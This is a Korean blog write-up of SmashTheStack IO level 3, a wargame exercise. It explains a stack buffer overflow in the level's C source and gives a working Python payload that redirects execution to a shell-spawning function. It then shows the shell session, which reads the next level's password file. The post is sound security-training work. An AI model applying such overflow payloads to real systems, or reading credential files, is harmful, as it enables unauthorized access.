본문 바로가기
스터디/wargames

SmashTheStack : level3@io.smashthestack 문제풀이

by 깝태 2011. 7. 21.

현재 팀에서는 Level4 를 풀고 있다. 미리미리 풀면 좋겠지만 시간이 많지도 않고
과반수가 문제풀이를 작성해야지만 넘어가는 수준이라 여유있게 공부할 수 있다.

level3@io:/levels$ ./level03
Segmentation fault

level3@io:/levels$ ./level03 aa
Address of hmm: 0x804847f

프로그램을 그냥 실행하면 세그먼폴트가 뜨고 인자를 넘겨주면 어드레스가 출력되는데
고정 어드레스인 것 같다.

level3@io:/levels$ ./level03 aa bb
Address of hmm: 0x804847f

level3@io:/levels$ ./level03 cc dd
Address of hmm: 0x804847f

소스가 주어져 있으니 소스를 보면서 문제를 풀어보겠다.

level3@io:/levels$ cat level03.c
#include <stdio.h>
#include <unistd.h>
#include <string.h>

int good(int addr) {
printf("Address of hmm: %p\n", addr); // 프로그램을 실행하면 보여지는 함수
}

int hmm() {
printf("Win.\n");
execl("/bin/sh", "sh", NULL); // 쉘이 뜨는 hmm 함수
}

extern char **environ;

int main(int argc, char **argv) {

int i, limit;

for(i = 0; environ[i] != NULL; i++)
memset(environ[i], 0x00, strlen(environ[i])); // 환경변수 초기화

int (*fptr)(int) = good; // fptr 함수 포인터를 선언하고 good 함수의 시작주소를 넣어준다.
char buf[32];

if(strlen(argv[1]) <= 40) limit = strlen(argv[1]); // argv[1] 의 길이가 40 과 같거나 더 작을경우 limit 변수를
argv[1] 인자의 길이로 초기화 한다.

for(i = 0; i <= limit; i++) { // i 가 limit 보다 커지거나 같아질때까지
buf[i] = argv[1][i]; // buf[i] 의 값을 argv[1][i] 값으로 초기화
if(i < 36) buf[i] = 0x41; // buf[0] ~ buf[35] 까지 A 로 초기화 한다.

// 나만 그렇게 생각하는 것일 수도 있겠지만 buf[31] 까지가 buf 의 정상적인 크기이다.
// 그러면 buf[31] ~ buf[35] 까지 뭐가 들어갈까? 바로 4 바이트의 SFP(EBP) 가 들어가게 된다.
// 그래서 앞에서의 IF 문 때문에 40 까지 채울 수 있는데 나머지 4 바이트에 RET 값을 넣어 변조할 수 있게되는것이다.
// 나머지를 보고 마저 해석을 해보겠다.
}

int (*hmmptr)(int) = hmm; // hmmptr 함수 포인터를 선언하고 hmm 함수의 시작주소를 넣어준다.

(*fptr)((int)hmmptr); // good 함수에 hmmptr 함수가 인자로 넘어간다. good 함수에 의해 hmmptr 주소 출력

// hmmptr 함수를 호출하면 hmm 함수가 호출된다. 고로 아까 우리가 발견한
// 나머지 4 바이트, RET 에 hmmptr 주소를 넣어주면 프로그램의 흐름이 조작되어 hmm 함수가 호출된다.
// 페이로드는 \x41 * 36 + hmmptr 주소 - 고맙게도 hmmptr 주소는 처음 시작할때 알려준다.

return 0;
}

페이로드 까지 구성했으니 한번 파이썬 스크립트를 이용해 풀어보자.

level3@io:/levels$ ./level03 `python -c 'print "\x41"*36 + "\x7f\x84\x04\x08"'`
Win.

sh-3.2$ id
uid=1003(level3) gid=1003(level3) euid=1004(level4) groups=1003(level3),1029(nosu)

sh-3.2$ cat /home/level4/.pass
1ZwMe9q1nDC9

정답이 나왔다.